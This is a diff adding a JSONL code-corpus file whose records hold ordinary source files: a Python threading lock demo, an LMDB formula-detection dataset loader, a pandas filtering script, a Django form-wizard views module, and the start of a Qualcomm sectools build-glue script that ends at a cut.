diff --git "a/3179.jsonl" "b/3179.jsonl" new file mode 100644--- /dev/null +++ "b/3179.jsonl" @@ -0,0 +1,762 @@ +{"seq_id":"15733827","text":"import time\nimport threading\n# \n\n#定义一个全局变量\ng_num=0\n\ndef test1(num):\n global g_num\n # 上锁,如果之前没有被上锁,那么此时上锁成功\n # 如果上锁之前,已经被上锁了,那么此时会堵塞在这里,直到这个锁被解开\n for i in range(num):\n mutex.acquire()\n g_num+=1\n # 解锁\n mutex.release()\n print(\"-----in test1 g_num=%d----\"%g_num)\n\n\ndef test2(num):\n global g_num\n\n for i in range(num):\n mutex.acquire()\n g_num+=1 \n mutex.release()\n print(\"-----in test2 g_num=%d----\"%g_num)\n\n# 创建一个互斥锁,默认是没有上锁\nmutex=threading.Lock()\n\n\n\ndef main():\n t1=threading.Thread(target=test1,args=(1000000,))\n t2=threading.Thread(target=test2,args=(1000000,))\n\n t1.start()\n t2.start()\n\n # 等待上面的2个线程执行完毕\n time.sleep(4)\n\n print(\"-----in main Thread g_num=%d----\"%g_num)\n\nif __name__==\"__main__\":\n main()\n\n","sub_path":"03-多任务-线程/11-使用互斥锁解决资源竞争的问题2.py","file_name":"11-使用互斥锁解决资源竞争的问题2.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"305279069","text":"# encoding: utf-8\r\nimport cv2\r\nimport lmdb\r\nimport numpy as np\r\nfrom torch.utils.data import Dataset\r\nfrom torchvision import transforms\r\nfrom torch.utils.data import DataLoader\r\nimport six\r\nimport torch\r\nimport os\r\n\r\nclass AnnotationTransform(object):\r\n \"\"\"Transforms a GTDB annotation into a Tensor of bbox coords and label index\r\n Initilized with a dictionary lookup of classnames to indexes\r\n\r\n Arguments:\r\n class_to_ind (dict, optional): dictionary lookup of classnames -> indexes\r\n height (int): height\r\n width (int): width\r\n \"\"\"\r\n def __init__(self, class_to_ind=None):\r\n pass\r\n def __call__(self, target, width, height):\r\n \"\"\"\r\n Arguments:\r\n target (annotation) : the target annotations. This will be the list of bounding boxes\r\n Returns:\r\n a list containing lists of bounding boxes [bbox coords, class name]\r\n \"\"\"\r\n \r\n res = []\r\n # read the annotations\r\n for box in target:\r\n res.append([box[0]/width, box[1]/height, box[2]/width, box[3]/height])\r\n return res # [[xmin, ymin, xmax, ymax, label_ind], ... ]\r\n\r\n\r\n\r\n\r\nclass FormulaDataset(Dataset):\r\n def __init__(self, data_dir, window=1200,detect_type='pic',transform=None, target_transform=AnnotationTransform()):\r\n Dataset.__init__(self)\r\n self.data_dir = data_dir\r\n self.env = lmdb.open(\r\n os.path.sep.join([data_dir,'lmdb']),\r\n max_readers=1,\r\n readonly=True,\r\n lock=False,\r\n readahead=False,\r\n meminit=False) \r\n self.transform = transform\r\n self.window=window\r\n self.target_transform = target_transform\r\n self.detect_type = detect_type\r\n if not self.env:\r\n print('cannot creat lmdb from %s' % (root))\r\n sys.exit(0)\r\n\r\n with self.env.begin(write=False) as txn:\r\n nSamples = int(txn.get('total'.encode()))\r\n self.nSamples = nSamples \r\n self.dtype_maps = self.__get_dtype_idx__(txn)\r\n\r\n # 加载外部文件格式训练数据\r\n self.file_train_data = self.__load_file_data__()\r\n\r\n\r\n\r\n def __get_dtype_idx__(self,txn):\r\n dtype_maps = {}\r\n pic_idx_lists = []\r\n formula_idx_lists = []\r\n\r\n for idx in range(self.nSamples):\r\n if idx == 0:\r\n idx = 1\r\n target_key = f'pos_{idx}'\r\n target = np.frombuffer(txn.get(target_key.encode()), dtype=np.float)\r\n target = target.astype(np.int)\r\n target = target.reshape(-1,5)\r\n if len(np.where(target[:,4]==0)[0]) > 0:\r\n formula_idx_lists.append(idx)\r\n\r\n if len(np.where(target[:,4]==1)[0]) > 0:\r\n pic_idx_lists.append(idx)\r\n\r\n dtype_maps['pic'] = pic_idx_lists\r\n dtype_maps['formula'] = formula_idx_lists\r\n\r\n print('len pic idx:', len(pic_idx_lists))\r\n print('len formula idx :', len(formula_idx_lists))\r\n\r\n return dtype_maps\r\n # target = self.__get_target__(txn, f'pos_{index}')\r\n\r\n\r\n def __len__(self):\r\n if self.detect_type == 'formula':\r\n return len(self.dtype_maps[self.detect_type]) + int(len(self.dtype_maps['formula']) * 0.2)\r\n else:\r\n return len(self.dtype_maps[self.detect_type]) + int(len(self.dtype_maps['pic']) * 0.2)\r\n\r\n def __getitem__(self, index):\r\n # if index == 0:\r\n # index = 1\r\n if index < len(self.dtype_maps[self.detect_type]):\r\n index = self.dtype_maps[self.detect_type][index]\r\n else:\r\n # print('input index:', index)\r\n _d_type = 'formula' if self.detect_type == 'formula' else 'pic'\r\n _d_type_idx = np.random.randint(0, len(self.dtype_maps[_d_type]))\r\n index = self.dtype_maps[_d_type][_d_type_idx]\r\n # print('real index:', index)\r\n with self.env.begin(write=False) as txn:\r\n image, target = self.pull_train_item(txn, index)\r\n\r\n\r\n boxes = target[:, 0:4]\r\n labels = target[:, 4]\r\n image = image.astype(np.uint8)\r\n\r\n if self.transform:\r\n image, boxes, labels = self.transform(image, boxes, labels)\r\n\r\n if self.target_transform:\r\n boxes = self.target_transform(boxes, self.window, self.window)\r\n\r\n boxes = np.hstack((boxes, np.expand_dims(labels, axis=1)))\r\n\r\n return image, boxes\r\n\r\n \r\n\r\n def __get_image__(self, txn, image_key):\r\n imgbuf = txn.get(image_key.encode())\r\n buf = six.BytesIO()\r\n buf.write(imgbuf)\r\n buf.seek(0) \r\n image = cv2.imdecode(np.frombuffer(buf.getvalue(), np.uint8),cv2.IMREAD_COLOR)\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n image = cv2.cvtColor(image, cv2.COLOR_GRAY2BGR) \r\n return image\r\n\r\n def __get_target__(self, txn, target_key):\r\n target = np.frombuffer(txn.get(target_key.encode()), dtype=np.float)\r\n target = target.astype(np.int)\r\n target = target.reshape(-1,5)\r\n if self.detect_type == 'pic':\r\n target = target[target[:,4]==1]\r\n target[:,4] = 0\r\n elif self.detect_type == 'formula':\r\n target = target[target[:,4]==0]\r\n \r\n \r\n # # print('target len :', len(target), ' target:', target)\r\n if target.shape[0] == 0:\r\n target = np.array([[-1,-1,-1,-1,-1]])\r\n return target \r\n\r\n def pull_train_item(self, txn, index):\r\n image = self.__get_image__(txn, f'img_{index}')\r\n target = self.__get_target__(txn, f'pos_{index}')\r\n return image, target\r\n\r\n\r\nif __name__ == '__main__':\r\n import argparse\r\n from matplotlib import pyplot as plt\r\n from lmdb_formula_transform import FormulaTransform\r\n import cv2\r\n from torch.utils.data.sampler import SubsetRandomSampler\r\n from torchvision import transforms\r\n\r\n transform = transforms.ToTensor()\r\n\r\n def detection_collate(batch):\r\n \"\"\"Custom collate fn for dealing with batches of images that have a different\r\n number of associated object annotations (bounding boxes).\r\n\r\n Arguments:\r\n batch: (tuple) A tuple of tensor images and lists of annotations\r\n\r\n Return:\r\n A tuple containing:\r\n 1) (tensor) batch of images stacked on their 0 dim\r\n 2) (list of tensors) annotations for a given image are stacked on\r\n 0 dim\r\n \"\"\"\r\n targets = []\r\n imgs = []\r\n # ids = []\r\n for sample in batch:\r\n\r\n imgs.append(transform(sample[0]))\r\n targets.append(torch.FloatTensor(sample[1]))\r\n # ids.append(sample[2])\r\n return torch.stack(imgs, dim=0), targets\r\n\r\n parser = argparse.ArgumentParser(description='math formula imdb dataset')\r\n parser.add_argument('--data_dir',default='D:\\\\PROJECT_TW\\\\git\\\\data\\\\mathdetect', type=str, help='path of the math formula data')\r\n parser.add_argument('--batch_size',default=16, type=int)\r\n\r\n\r\n args = parser.parse_args()\r\n\r\n dataset = FormulaDataset(data_dir=args.data_root,\r\n window=1200,\r\n transform=FormulaTransform(window=1200, max_width=1024, size=600),\r\n detect_type='pic',\r\n target_transform=AnnotationTransform())\r\n\r\n dataset_size = len(dataset)\r\n indices = list(range(dataset_size))\r\n indices = list(range(dataset_size))\r\n val_train_split=0.1\r\n valid_split = int(np.floor(val_train_split * dataset_size))\r\n np.random.shuffle(indices)\r\n train_indices, valid_indices = indices[valid_split:], indices[:valid_split]\r\n train_sampler = SubsetRandomSampler(train_indices)\r\n valid_sampler = SubsetRandomSampler(valid_indices)\r\n\r\n train_loader = DataLoader(dataset, shuffle=False, batch_size=args.batch_size,\r\n collate_fn=detection_collate,\r\n pin_memory=False,\r\n sampler=valid_sampler)\r\n print('valid_indices:', len(valid_indices))\r\n print('data set number: ', len(dataset))\r\n\r\n # for _ in range(5):\r\n # print('--------------------------------------------------------')\r\n # for image, target in train_loader:\r\n # print('image shape:', image.size())\r\n # print('target:', len(target), '-->', target[0])\r\n\r\n # valid_loader = DataLoader(dataset, shuffle=True, batch_size=args.batch_size,\r\n # collate_fn=partial(collate_fn, vocab.sign2id),\r\n # pin_memory=True if use_cuda else False) \r\n\r\n # random_sel = np.random.randint(0, len(dataset), 10).tolist()\r\n random_sel = np.random.randint(0, len(dataset), 10).tolist()\r\n # random_sel = [5975,5976, 5977, 5978, 6019]\r\n # random_sel = list(range(len(dataset)-30, len(dataset)))\r\n # print(random_sel)\r\n\r\n for idx in random_sel:\r\n image, box = dataset[idx]\r\n print('image :', image.shape, ' boxes: ', box)\r\n image = image.astype(np.uint8)\r\n image = cv2.resize(image, (1200,1200), interpolation=cv2.INTER_AREA)\r\n # target = target.astype(np.int)\r\n for p_idx, pos in enumerate(box):\r\n # pos = pos.astype(np.int)\r\n x0, y0, x1, y1, label= pos\r\n x0 = int(1200*x0)\r\n x1 = int(1200*x1)\r\n y0 = int(1200*y0)\r\n y1 = int(1200*y1)\r\n\r\n print(x0, ':', x1, ':', y0, ':', y1)\r\n if int(label) == 0:\r\n cv2.rectangle(image, (x0,y0), (x1, y1), (0, 255, 0), 2)\r\n elif int(label) == 1:\r\n cv2.rectangle(image, (x0,y0), (x1, y1), (0, 255, 255), 2)\r\n else:\r\n pass\r\n cv2.imwrite(r'D:\\PROJECT_TW\\git\\data\\mathdetect\\temp\\t_' + f'{idx}.png', image)\r\n # plt.imshow(image)\r\n # plt.show() \r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"OCR/lib/mathdetect/data/lmdb_formula_dataset.py","file_name":"lmdb_formula_dataset.py","file_ext":"py","file_size_in_byte":10021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"69071716","text":"import pandas as pd\nimport numpy as np\n\nraw_data = {'student':['A','B','C','D','E'],\n 'score': [100, 96, 80, 105,156], \n 'height': [7, 4,9,5,3],\n 'trigger1' : [84,95,15,78,16],\n 'trigger2' : [99,110,30,93,31],\n 'trigger3' : [114,125,45,108,46]}\n\ndf = pd.DataFrame(raw_data)\nprint(df)\n\ndef text_df(df):\n\n if (df['trigger1'] <= df['score'] < df['trigger2']) and (df['height'] < 8):\n return \"Red\" \n elif (df['trigger2'] <= df['score'] < df['trigger3']) and (df['height'] < 8):\n return \"Yellow\"\n elif (df['trigger3'] <= df['score']) and (df['height'] < 8):\n return \"Orange\"\n elif (df['height'] > 8):\n return np.nan\n \ndf['Flag'] = df.apply(text_df, axis = 1)\ndf['t1Flag'] = df['trigger1'].apply(lambda x: 'True' if x >= 75 and x <=85 else 'False')\ndf['t2Flag'] = df['trigger2'].apply(lambda x: 'True' if x >= 90 else 'False')\nprint(\"______________________________________________________________________________\")\nprint(df)\nnewDf= df[(df.t1Flag == \"True\") & (df.t2Flag == \"True\")]\nprint(\"______________________________________________________________________________\")\nprint(newDf)\n\n\n#alternate method of above logic to filterout the rows from datframe\n\"\"\"\nlis = ['A','D']\naDf = df[(df.trigger1 >= 75) & (df.trigger1<= 85) & (df.student.isin(lis))]\nprint(df)\n\"\"\"\n","sub_path":"dfFilterRows/dataframe_rows_filter.py","file_name":"dataframe_rows_filter.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"73899275","text":"from __future__ import absolute_import, unicode_literals\nfrom django.core.exceptions import ImproperlyConfigured, ValidationError\nfrom django.core.urlresolvers import reverse, resolve, NoReverseMatch\nfrom django.forms import FileField\nfrom django.http import Http404\nfrom django.shortcuts import redirect\nfrom django.template.loader import get_template\nfrom django.template import RequestContext\nfrom django.views.generic import TemplateView\nfrom django.utils.datastructures import SortedDict\nfrom django.utils.decorators import classonlymethod\nfrom formwizard.storage import get_storage, Step\nfrom formwizard.storage.exceptions import NoFileStorageConfigured\nfrom formwizard.forms import ManagementForm\nimport operator\n\n\nclass Wizard(object):\n \"\"\"\n The wizard object in the template context.\n \"\"\"\n def __init__(self, **kwargs):\n for name, value in kwargs.iteritems():\n setattr(self, name, value)\n\n\nclass StepsManager(object):\n \"\"\"\n A helper class that makes accessing steps easier.\n \"\"\"\n\n def __init__(self, wizard):\n self._wizard = wizard\n\n def __dir__(self):\n return self.all\n\n def __len__(self):\n return self.count\n\n def __repr__(self):\n return '<%s for %s (steps: %s)>' % (self.__class__.__name__,\n self._wizard, self.all)\n\n def __getitem__(self, step_name):\n \"\"\"\n :param item: step name\n :type item: ``unicode``\n \"\"\"\n step = self._wizard.storage[step_name]\n if not step.forms:\n step.forms = self._wizard.forms[step_name]\n return step\n\n def __iter__(self):\n for name in self._wizard.get_forms().keys():\n yield self[name]\n\n def from_slug(self, slug):\n for step in self:\n if step.slug == slug:\n return step\n\n @property\n def all(self):\n \"\"\"Returns a ``list`` of all steps in the wizard.\"\"\"\n return list(self)\n\n @property\n def count(self):\n \"\"\"Returns the total number of steps/forms in this the wizard.\"\"\"\n return len(self._wizard.get_forms())\n\n @property\n def current(self):\n \"\"\"\n Returns the current step. If no current step is stored in the\n storage backend, the first step will be returned.\n \"\"\"\n if self._wizard.storage.current_step:\n return self[self._wizard.storage.current_step.name]\n return self.first\n\n @current.setter\n def current(self, step):\n self._wizard.storage.current_step = step\n\n @property\n def first(self):\n \"Returns the name of the first step.\"\n return self[self._wizard.get_forms().keyOrder[0]]\n\n @property\n def last(self):\n \"Returns the name of the last step.\"\n return self[self._wizard.get_forms().keyOrder[-1]]\n\n @property\n def next(self):\n \"\"\"\n Returns the next step. If no more steps are available, ``None`` will be\n returned.\n \"\"\"\n key = self.index + 1\n forms = self._wizard.get_forms()\n if len(forms.keyOrder) > key:\n return self[forms.keyOrder[key]]\n return None\n\n @property\n def previous(self):\n \"Returns the previous step.\"\n key = self.index - 1\n if key >= 0:\n return self[self._wizard.get_forms().keyOrder[key]]\n return None\n\n @property\n def index(self):\n \"\"\"Returns the index for the current step (0-based).\"\"\"\n return self._wizard.get_forms().keyOrder.index(self.current.name)\n\n index0 = index\n\n @property\n def index1(self):\n \"\"\"Returns thei ndex for the current step (1-based).\"\"\"\n return self.index0 + 1\n\n\nclass WizardMixin(object):\n \"\"\"\n The WizardView is used to create multi-page forms and handles all the\n storage and validation. The wizard is based on Django's generic class based\n views.\n\n :param storage: module path to wizard ``Storage`` class\n :type storage: ``unicode``\n :param file_storage: module path to one of Django's File Storage\n :type file_storage: ``unicode``\n :param steps: The pieces in the wizard. This is converted\n to a ``StepsManager`` object during\n ``as_view()``.\n :type steps: ``((\"name\", Form), ...)`` or\n ``((\"name\", [Form, ...]), ...)``\n :param wizard_template: Template to render for ``wizard.as_html``\n (default: ``formwizard/wizard_form.html``)\n :type wizard_template: ``unicode``\n :param wizard_step_templates: Templates for individual steps\n :type wizard_step_templates: ``{step_name: template, ...}``\n \"\"\"\n storage = None\n file_storage = None\n forms = None\n steps = ()\n wizard_template = 'formwizard/wizard_form.html'\n wizard_step_templates = None\n\n def __repr__(self):\n return '<%s: forms: %s>' % (self.__class__.__name__, self.forms)\n\n @classonlymethod\n def as_view(cls, steps=None, *args, **kwargs): # pylint: ignore=E0213\n steps = steps or cls.steps\n\n # validation\n view = '%s.%s' % (cls.__module__, cls.__name__) # used in errors\n if len(steps) == 0:\n raise ImproperlyConfigured(\"`%s` requires at least one step.\" % view)\n if not all((isinstance(i, (tuple, list)) and len(i) == 2 for i in steps)):\n raise ImproperlyConfigured(\"`%s.steps` poorly formed.\" % view)\n\n forms_dict = SortedDict()\n\n # populate forms\n for name, forms in steps:\n if not isinstance(forms, (tuple, list)):\n forms = (forms, )\n forms_dict[unicode(name)] = forms\n\n # If any forms are using FileField, ensure file storage is configured.\n if not cls.file_storage:\n for forms in (form for form in forms_dict.itervalues()):\n for form in forms:\n if hasattr(form, \"form\"): # formset\n form = form.form\n for field in form.base_fields.itervalues():\n if isinstance(field, FileField):\n view = '%s.%s' % (cls.__module__, cls.__name__)\n raise NoFileStorageConfigured(\n \"%s contains a FileField, but \"\n \"`%s.file_storage` was not specified.\"\n % (form, view))\n\n # build the kwargs for the formwizard instances\n kwargs.setdefault('wizard_step_templates', cls.wizard_step_templates or {})\n kwargs['forms'] = forms_dict\n return super(WizardMixin, cls).as_view(*args, **kwargs)\n\n def get_forms(self):\n \"\"\"\n Returns the forms to include in the wizard. This can be used as a hook\n to filter the forms based on some runtime state.\n\n :rtype: ``SortedDict``\n \"\"\"\n return self.forms\n\n def get_name(self):\n return 'default'\n\n def get_namespace(self):\n return '%s.%s' % (self.__class__.__module__, self.__class__.__name__)\n\n def get_storage(self):\n if self.storage is None:\n view = '%s.%s' % (self.__class__.__module__,\n self.__class__.__name__)\n raise ImproperlyConfigured(\"%s.storage is not specified.\" % view)\n if isinstance(self.storage, basestring):\n storage_class = get_storage(self.storage)\n return storage_class(name=self.name,\n namespace=self.namespace,\n file_storage=self.get_file_storage())\n else:\n return self.storage\n\n def get_file_storage(self):\n return self.file_storage\n\n def dispatch(self, request, *args, **kwargs):\n \"\"\"\n This method gets called by the routing engine. The first argument is\n ``request`` which contains a ``HttpRequest`` instance. The storage\n instance is stored in ``self.storage``.\n\n After processing the request using the ``dispatch`` method, the\n response gets updated by the storage engine (for example add cookies).\n \"\"\"\n # View.dispatch() does this too, but we're doing some initialisation\n # before that's called, so we'll do this now.\n self.request, self.args, self.kwargs = request, args, kwargs\n # other stuff to init\n self.name = self.get_name()\n self.namespace = self.get_namespace()\n self.steps = StepsManager(self)\n self.storage = self.get_storage()\n self.storage.process_request(request)\n response = super(WizardMixin, self).dispatch(request, *args, **kwargs)\n self.storage.process_response(response)\n return response\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n This method handles GET requests.\n\n If a GET request reaches this point, the wizard assumes that the user\n just starts at the first step or wants to restart the process.\n The data of the wizard will be resetted before rendering the first step.\n \"\"\"\n self.storage.reset()\n\n # reset the current step to the first step.\n step = self.steps.first\n self.storage.current_step = step\n return self.render(self.get_validated_step_forms(step))\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n This method handles POST requests.\n\n The wizard will render either the current step (if form validation\n wasn't successful), the next step (if the current step was stored\n successful) or the done view (if no more steps are available)\n \"\"\"\n # Look for a wizard_next_step element in the posted data which\n # contains a valid step name. If one was found, render the requested\n # form. (This makes stepping back a lot easier).\n wizard_next_step = self.request.POST.get('wizard_next_step')\n\n if wizard_next_step:\n step = self.steps[wizard_next_step]\n if step:\n step = self.steps[wizard_next_step]\n self.storage.current_step = step\n forms = self.get_validated_step_forms(step)\n return self.render(forms)\n\n # Check if form was refreshed\n management_form = ManagementForm(self.request.POST, prefix='mgmt')\n if not management_form.is_valid():\n raise ValidationError('ManagementForm data is missing or has been tampered.')\n try:\n step = self.steps[management_form.cleaned_data['current_step']]\n except KeyError:\n raise ValidationError(\"The current step specified in Wizard management form is invalid.\")\n self.storage.current_step = step\n forms = self.get_validated_step_forms(step,\n data=self.request.POST,\n files=self.request.FILES)\n if all((form.is_valid() for form in forms)):\n # Update step with valid data\n step.data = self.request.POST\n step.files = self.request.FILES\n if step == self.steps.last:\n return self.render_done()\n else:\n return self.render_next_step()\n return self.render(forms)\n\n def get_forms_initials(self, step):\n \"\"\"\n Returns the initial data to pass to the forms for *step*.\n\n :rtype: iterable with same length as number of forms for *step*\n \"\"\"\n return (None, ) * len(step.forms)\n\n def get_forms_instances(self, step):\n \"\"\"\n Returns the model instances to pass to the forms for *step*.\n\n :rtype: iterable with same length as number of forms for *step*\n \"\"\"\n return (None, ) * len(step.forms)\n\n def get_forms_kwargs(self, step):\n \"\"\"\n Returns the keyword arguments for instantiating the forms\n (or formsets) on given step.\n\n This is useful if a specific form needs some extra constructor\n arguments, e.g. a form that requires the HTTP request.\n\n :rtype: iterable with same length as number of forms for *step*\n \"\"\"\n kwargss = []\n initials = self.get_forms_initials(step)\n instances = self.get_forms_instances(step)\n for i, form in enumerate(step.forms):\n kwargs = {\n 'data': step.data,\n 'files': step.files,\n 'prefix': 'form-%s' % i,\n 'initial': initials[i],\n }\n if hasattr(form, \"_meta\") and hasattr(form._meta, \"model\"):\n # If the form is based on ModelForm, add instance if available.\n kwargs['instance'] = instances[i]\n elif (hasattr(form, \"form\") and hasattr(form.form, \"_meta\")\n and hasattr(form.form._meta, \"model\")):\n # If the form is based on ModelFormSet, add queryset if\n # available.\n kwargs['queryset'] = instances[i]\n kwargss.append(kwargs)\n return kwargss\n\n def get_validated_step_forms(self, step, **kwargs):\n \"\"\"\n Returns validated form objects for the given *step*.\n \"\"\"\n forms = []\n kwargss = self.get_forms_kwargs(step)\n for form_kwargs, Form in zip(kwargss, step.forms): # pylint: ignore=C0103\n form_kwargs.update(kwargs)\n form = Form(**form_kwargs)\n form.is_valid() # trigger validation\n forms.append(form)\n return forms\n\n def get_context_data(self, forms, **kwargs):\n \"\"\"\n Returns the template context for a step. You can overwrite this method\n to add more data for all or some steps. This method returns a\n dictionary containing the rendered form step. Available template\n context variables are:\n\n * ``wizard`` -- a container of useful data\n\n Example::\n\n class MyWizard(SessionWizardView):\n def get_context_data(self, form, **kwargs):\n context = super(MyWizard, self).get_context_data(\n form, **kwargs)\n if self.steps.current.name == 'my_step_name':\n context.update({'another_var': True})\n return context\n\n \"\"\"\n context = super(WizardMixin, self).get_context_data(**kwargs)\n context['wizard'] = Wizard(\n forms=forms,\n steps=self.steps,\n management_form=ManagementForm(prefix='mgmt', initial={\n 'current_step': self.steps.current.name,\n }),\n as_html=lambda: self.get_wizard_html(\n RequestContext(self.request, context)),\n media=reduce(operator.add, (form.media for form in forms)),\n )\n return context\n\n def get_wizard_template(self, step):\n \"\"\"\n :param step: the step whose template to return\n :type step: ``Step`` object\n :returns : ``Template`` object\n \"\"\"\n return get_template(self.wizard_step_templates.get(\n step.name, self.wizard_template))\n\n def get_wizard_html(self, context):\n return self.get_wizard_template(self.steps.current).render(context)\n\n # -- views ----------------------------------------------------------------\n\n def done(self, forms):\n \"\"\"\n This method muss be overrided by a subclass to process to form data\n after processing all steps.\n \"\"\"\n raise NotImplementedError(\"Your %s class has not defined a done() \"\n \"method, which is required.\" % self.__class__.__name__)\n\n def render(self, forms=None):\n \"\"\"\n Returns a ``HttpResponse`` containing a all needed context data.\n \"\"\"\n forms = forms or self.get_validated_step_forms(step=self.steps.current)\n context = self.get_context_data(forms=forms)\n return self.render_to_response(context)\n\n def render_done(self):\n \"\"\"\n This method gets called when all forms passed. The method should also\n re-validate all steps to prevent manipulation. If any form don't\n validate, ``render_revalidation_failure`` should get called.\n\n If everything is fine call ``done``.\n \"\"\"\n valid_forms = SortedDict()\n # ensure all the forms are valid\n for step in self.steps:\n forms = self.get_validated_step_forms(step=step)\n if not all((form.is_valid() for form in forms)):\n return self.render_revalidation_failure(step)\n valid_forms[step.name] = forms\n\n # render the done view and reset the wizard before returning the\n # response. This is needed to prevent from rendering done with the\n # same data twice.\n response = self.done(valid_forms)\n self.storage.reset()\n return response\n\n def render_revalidation_failure(self, step):\n \"\"\"\n Gets called when a form doesn't validate when rendering the done\n view. By default, it changed the current step to failing forms step\n and renders the form.\n\n :param step: the step that failed validation\n :type step: ``Step`` object\n \"\"\"\n self.storage.current_step = step\n return self.render()\n\n def render_next_step(self):\n \"\"\"\n When using the NamedUrlFormWizard, we have to redirect to update the\n browser's URL to match the shown step.\n \"\"\"\n self.storage.current_step = self.steps.next\n return self.render()\n\n\nclass WizardView(WizardMixin, TemplateView): # pylint: ignore=W0223\n \"\"\"\n A view premixed with ``WizardMixin`` and ``TemplateView``. To use this a\n *storage* must be specified.\n \"\"\"\n\n\nclass NamedUrlWizardMixin(WizardMixin): # pylint: ignore=W0223\n \"\"\"\n A WizardView with URL named steps support.\n \"\"\"\n wizard_done_step_slug = \"finished\"\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n This renders the form or, if needed, does the HTTP redirects.\n \"\"\"\n slug = kwargs.get('slug')\n if not slug:\n if request.GET:\n query_string = \"?%s\" % request.GET.urlencode()\n else:\n query_string = \"\"\n return redirect(self.steps.current.url + query_string)\n\n # is the current step the \"done\" name/view?\n if slug == self.wizard_done_step_slug:\n return self.render_done()\n\n step = self.steps.from_slug(slug)\n if step:\n self.storage.current_step = step\n return self.render(self.get_validated_step_forms(step))\n\n # invalid step name, reset to first and redirect.\n self.storage.current_step = self.steps.first\n return redirect(self.steps.first.url)\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n Do a redirect if user presses the prev. step button. The rest of this\n is super'd from FormWizard.\n \"\"\"\n next_step_name = request.POST.get('wizard_next_step')\n if next_step_name:\n next_step = self.steps[next_step_name]\n if next_step:\n self.storage.current_step = next_step\n return redirect(next_step.url)\n return super(NamedUrlWizardMixin, self).post(request, *args, **kwargs)\n\n def get_step_url(self, **kwargs):\n match = getattr(self, '_step_url_match', None)\n if not match:\n try:\n self._step_url_match = match = resolve(self.request.path)\n except Http404:\n raise ImproperlyConfigured(\n \"Unable to automatically determine wizard URL pattern.\"\n \" %s.get_step_url() must be implemented.\"\n % self.__class__.__name__)\n kwargs = dict(match.kwargs, **kwargs)\n url_name = ':'.join((match.namespaces + [match.url_name]))\n try:\n return reverse(url_name, args=match.args, kwargs=kwargs,\n current_app=match.app_name)\n except NoReverseMatch:\n return reverse(match.func, args=match.args, kwargs=kwargs,\n current_app=match.app_name)\n\n def get_storage(self):\n wizard = self\n\n class NamedUrlStep(Step):\n @property\n def url(self):\n return wizard.get_step_url(slug=self.slug)\n\n storage = super(NamedUrlWizardMixin, self).get_storage()\n storage.step_class = NamedUrlStep\n return storage\n\n # -- views ----------------------------------------------------------------\n\n def render_done(self):\n \"\"\"\n When rendering the done view, we have to redirect first (if the URL\n name doesn't fit).\n \"\"\"\n # for any steps that don't have any form data, change it to a suitable\n # default\n # TODO: clean-up this, does it need to go in WizardMixin?\n for step in self.steps:\n if step.data is None:\n step.data = {}\n # if it's a formset, we need to create a plain management form\n # to use as the step data, otherwise we'll get \"ManagementForm\n # data is missing or has been tampered with\" error\n validated_step_forms = self.get_validated_step_forms(step, data=None) # cache\n for i, form in enumerate(step.forms):\n if hasattr(form, \"form\"): # formset\n management_form = validated_step_forms[i].management_form\n for key, value in management_form.initial.iteritems():\n step.data[management_form.add_prefix(key)] = value\n # Make sure we're on the right page.\n if self.kwargs.get('slug') != self.wizard_done_step_slug:\n return redirect(self.get_step_url(slug=self.wizard_done_step_slug))\n return super(NamedUrlWizardMixin, self).render_done()\n\n def render_next_step(self):\n \"\"\"\n When using the NamedUrlFormWizard, we have to redirect to update the\n browser's URL to match the shown step.\n \"\"\"\n next_step = self.steps.next\n self.storage.current_step = next_step\n return redirect(next_step.url)\n\n def render_revalidation_failure(self, step):\n \"\"\"\n When a step fails, we have to redirect the user to the first failing\n step.\n \"\"\"\n self.storage.current_step = step\n return redirect(step.url)\n\n\nclass NamedUrlWizardView(NamedUrlWizardMixin, TemplateView): # pylint: ignore=W0223\n \"\"\"\n A view premixed with ``NamedUrlWizardMixin`` and ``TemplateView``. To use\n this a *storage* must be specified.\n \"\"\"\n","sub_path":"formwizard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":22825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"573495536","text":"# ===============================================================================\n#\n# Copyright (c) 2016, 2019 Qualcomm Technologies, Inc.\n# All Rights Reserved.\n# Confidential and Proprietary - Qualcomm Technologies, Inc.\n#\n# ===============================================================================\n\nimport os\nimport atexit\nfrom optparse import OptionParser\nimport sys\n\n#------------------------------------------------------------------------------\n# Hooks for Scons\n#------------------------------------------------------------------------------\ndef exists(env):\n return env.Detect('sectools_glue')\n\ndef generate(env):\n import SCons\n env.AddMethod(build, \"SectoolBuilderGlue\")\n if (SCons.Script.ARGUMENTS.get('SIGNTYPE') == 'CASS'):\n if (SCons.Script.ARGUMENTS.get('SIGNSERVER') == None):\n print(\"Error: For SIGNTYPE CASS SIGNSERVER must be specified as \\\"SIGNSERVER = \\\" \")\n exit(1)\n else:\n os.environ['SECTOOLS_SIGNER_HOST'] = \"http://\" + SCons.Script.ARGUMENTS.get('SIGNSERVER')\n if (SCons.Script.ARGUMENTS.get('SIGNPORT') != None):\n os.environ['SECTOOLS_SIGNER_PORT'] = SCons.Script.ARGUMENTS.get('SIGNPORT')\n\ndef build(env,\n glue_target_base_dir,\n glue_source,\n glue_sign_id,\n glue_signer=None,\n glue_qti_sign=False,\n glue_sectools_install_base_dir=None,\n glue_install_file_name=None,\n glue_msmid=None,\n glue_msmid_jtagid_dict=None,\n glue_jtag_id=None,\n glue_config = None,\n glue_config_qti = None,\n glue_soc_hw_version=None,\n glue_app_id=None,\n glue_soc_vers = None,\n glue_max_num_root_certs = None,\n glue_is_step1 = False):\n\n if glue_is_step1:\n if 'USES_SEC_POLICY_STEP1_QC_SIGN' in env:\n if 'USES_SEC_POLICY_MULTIPLE_DEFAULT_SIGN' in env:\n del env['USES_SEC_POLICY_MULTIPLE_DEFAULT_SIGN']\n env['USES_SEC_POLICY_DEFAULT_SIGN'] = True\n sectools_signed_mbn_step1 = env.SectoolBuilder(\n target_base_dir 